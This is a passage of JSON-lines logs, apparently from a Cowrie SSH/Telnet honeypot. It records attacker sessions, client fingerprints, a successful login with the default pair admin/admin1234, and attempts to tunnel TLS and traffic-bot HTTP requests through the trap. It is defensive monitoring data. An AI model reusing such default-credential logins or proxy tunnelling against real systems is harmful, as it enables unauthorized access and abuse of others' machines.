no-cache\\r\\n\\r\\n_=MXBNMDJScl5eaEs%2BVG1DMQ%3D%3D2PMYEsBiIvYD0No4aAfrOGpcGDtrwvjmzoNCLg3cM7JT2EyvKR6nLtY9fdoejHPVjKC3VykIUN%2Bzyy1tNPf1P0ai%2F9JkmfoPtHS2ixwA5xP3jwsPgwpT%2BNpHr0wGUkso%2FAmyLNry13KOmI8ZzzmJi6Z7e7wEUpHSFX0f4G%2B6M9vLvnZxaUIiwcsy%2BCLgeYucHOU20bvhrZDMwbuuhXaX0KBORlIUNcAtazZRBFb%2Fg4uauttLnSameIt7b8e3dFU%2B2JMVI9ef03aPPBaJ1dzZHSykM4Wu1EEutXrgZHz45O3UlnXvS0D5%2FJUjH17U975QLgyMcWmXp2%2BxZ0TajIOmGMOGllnXqCiOQFvmOcC54zYLgXCuhi7PWHZBEcHvHm6Qc%2BB3BDp3ErL3fEfuj%2BApSCD7u64NMfzagql5hUF2A1OrKhBhx7GQXVRY1A8s1pPrjsiwBAc0pxqEsjdAE%2Fy8MZcREMntwSxtL2vgOjVye53QJ42wckX1oDRvDGRmAos0JNf%2BEfn%2BY%2Be1UM9ygpQsYaxnp3uwrsXjE0%2BVFDNmKRVobgJoGwJ45Zu68CPUJmGX8yyCi6V%2Bjc%2F2dsL6CtZyTVyfWRJa1aQO9dlfJ1RZL1g9AqVPBfiql5gY1%2BwvLfBtbQ7%2F1hDK4hkMLRNbEpUpQUBJYKhSebI5upwcJ%2BJArTrtiwNNhFbuYbhGVN8wjRgg4j8HOJhMaLFEZkJJeYZhUMZT0PAAZBVWTpHqbsTqj%2F7kSjjxzPAC8CyYuq9SFqMS8HRA54twLFLBSZ2%2BR%2FUCwTNtslJwesnQKOFT0L1yeGmourUv57TP8l88pwh8MaWYB1eccNR7VabvR9e2QdwKCjNQ7%2BwgeJDy9AMX1Uasg4mQR%2BXWH3pgMQkPt0hHQ8se7Lpslg3kfYByo3L3475aX1LH0QxdIyH9fbcbCZS9AtYFLbxoStYC0iWV6cFx2EtBPykxcftK7bPhdEa2kGe9LMw2uw2J7M1ic%2FS%2FyXiane7Vp2o14q6yU%2BxM%2BO4qmirGabfuJBI9ieUeHrNwbSzVRZorkjvPtKKlq91IJQnnG65DR0vrFBKIAOcv9jlqn0kV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:13.576860Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:16.773316Z","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:16.832917Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x1ce@\\xe8\\xd6y\\xbe\\xa0\\xef\\xa3Ij\\xf50\\xa6\\x9f\\x9f/\\xbd\\x06\\xed}\\x9e\\x07+!\\xd0\\xedm;\\x00 \\xe4\\xb4\\xe70\\x01\\xb6\\xa1\\xb5}9\\xff3\\xf2\\xfb\\xb5O^/*]\\x197E-\\x1fF>\\xdd4&|\\xb5\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 *\\xdc\\xa8Co\\xd3\\x19\\x8e\\xc6o\\x8e\"6C\\xe1\\x1f\\x0e\\x7f\\xcfa\\x1f7\\xd2\\xf7#h\\xef\\xe8\\x9aIt\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x1ce@\\xe8\\xd6y\\xbe\\xa0\\xef\\xa3Ij\\xf50\\xa6\\x9f\\x9f/\\xbd\\x06\\xed}\\x9e\\x07+!\\xd0\\xedm;\\x00 \\xe4\\xb4\\xe70\\x01\\xb6\\xa1\\xb5}9\\xff3\\xf2\\xfb\\xb5O^/*]\\x197E-\\x1fF>\\xdd4&|\\xb5\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 *\\xdc\\xa8Co\\xd3\\x19\\x8e\\xc6o\\x8e\"6C\\xe1\\x1f\\x0e\\x7f\\xcfa\\x1f7\\xd2\\xf7#h\\xef\\xe8\\x9aIt\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:16.836004Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:17.131008Z","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:17.171870Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f=mbv\\xdc\\xe3\\xe1\\r|oL\\xb4,\\xd7\\x82\\x86\\xa6o\\xe3\\x05\\x87\\x11\\x87\\x17\\xf6[!\\x9c=\\x11\\xb2 \\x1bA\\x90D\\x98?f~\\xd9O\\x1e\\xc2F\\xf5[\\xc1\\x89M\\xce\\xca\\xdf\\xc0\\xc1\\x7f\\x96\\xa9\\xf4\\x80\\xe8I_\\x03\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xb1\\xf0\\xf3\\xef\\xd3a(\\xcc\\x81\\xb1yu\\xc2\\x95f\\x7f\\x95\\x04\\xe1\\xf2!\\x0c\\xa2\\xdf/\\x19a?]\\xca{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f=mbv\\xdc\\xe3\\xe1\\r|oL\\xb4,\\xd7\\x82\\x86\\xa6o\\xe3\\x05\\x87\\x11\\x87\\x17\\xf6[!\\x9c=\\x11\\xb2 \\x1bA\\x90D\\x98?f~\\xd9O\\x1e\\xc2F\\xf5[\\xc1\\x89M\\xce\\xca\\xdf\\xc0\\xc1\\x7f\\x96\\xa9\\xf4\\x80\\xe8I_\\x03\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xb1\\xf0\\xf3\\xef\\xd3a(\\xcc\\x81\\xb1yu\\xc2\\x95f\\x7f\\x95\\x04\\xe1\\xf2!\\x0c\\xa2\\xdf/\\x19a?]\\xca{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:17.175313Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":56127,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d3a4cfda81","protocol":"ssh","message":"New connection: 23.175.50.51:56127 (10.17.0.5:22) [session: f6d3a4cfda81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:18.900911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:18.906355Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:19.116390Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.23827147483826,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:19.349021Z","src_ip":"128.199.8.54","session":"03900e507d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:21.696696Z","src_ip":"173.208.188.210","session":"872d95ec0e3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:24.199870Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.156","src_port":50706,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b8f90f2e7c","protocol":"telnet","message":"New connection: 163.7.1.156:50706 (159.203.135.109:23) [session: 12b8f90f2e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:26.562150Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:27.788434Z","src_ip":"163.7.1.156","session":"12b8f90f2e7c","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:28.045076Z","src_ip":"163.7.1.156","session":"12b8f90f2e7c","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.513239Z","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.519719Z","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.525094Z","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.589181Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G935K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=a2U3TTx4NilHPktBTjQmTw%3D%3DaaPEENxMz%2FktVHgmXTWfhWpLuKqL62RMKLzJR5U3tlHPergFeJOS1JsPwxzAzE93fn7FX4MvHovR5y%2FGskosEkK9ZNkrH4KGvC%2FlBmlp9aFCgCsYCf9%2BRCDpPg7qdjFpGM4j6uhXppD1scSn%2F7L6NFVlGZwWx79pad4MwlJzyS%2FSUuqwODIYJpVUJZqiYcgkHGhBXtzSU52inVEO6JQ00MXTFQylWXlWYVznRXZkgA0YvExlDV3jPbo%2FqezCZrS50E9xlT3eqXaPzkQeTGlVW7vIAPsKzHjKdendise1O8FeWTjRIZ%2FA7GjgKzjyb7Zx1z3fDomG2RT9OxEBfluFOK9gD1oiPzpIaYnxjfViPfIfHp%2BIeQD3S2q2vOQPqGlgkUbxpprUaxUauHdtCqIZsHtks0CahtJtIQWoByUJu9Q%2BhDUhsiSokA5B1gugax%2FO0%2BEpIy2YBep3Fv%2BPavFbcw5L74XHThCXzWoLA%2BAdplK4mSKAgsTHq%2FG0dz1EdlMSItsbSaYNPRxGyp4zqtn%2FXEWHatkCoc2w0kQTiB3w2Q%2FuPSfNUGkOAUijOgNsbHIsz7OrDM%2Bw75J%2B1yz4VTqVwOxC5AKNhMxghCbRy9sPLaUp9VgjtawVcFQzIt%2BCJuT0DyHcwFAKqTqURlo9f2n5e%2BN6QPzHsHKB1SVU2eIvVmhGq3s2vQoIyzrtec08k%2FN7aXS44Kc4LSFZSNyRUJeZZ7dVv6e4sCp55k%2F%2FKPhiqeOh4R2mN6WUol2D9P3aJ77Y6W6hS0lfcyK%2BvPz9eMsuVUljZDVm5D7b1gKteV5%2F%2BLOZa4vmDMxzO%2Fpcg%2FxAldLGzx8nWTkjEfVG2cN%2FeyJEVoDvyWmSsPSPGVmNiPMSdMCUY9gPZWzVlz6H0RuKwTEysX6Y3a5oBAaEskPaFlk80%2B8WcvVHzof%2Fs%2Bhs%2FqaRlXhww60xt8uuYbLKwfMGfvGmN8dz0IjZ7xIdImQhIinnmyFtdSUUMHiIkrJAv15li%2FxmSdV96eAWvuH037FAUqym7HwT2zLSilnb%2FY0UVfkH%2BJGRUcNuknKpcusim6zPP5Jh91ChrzkDuvpvi1T7WuPb'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 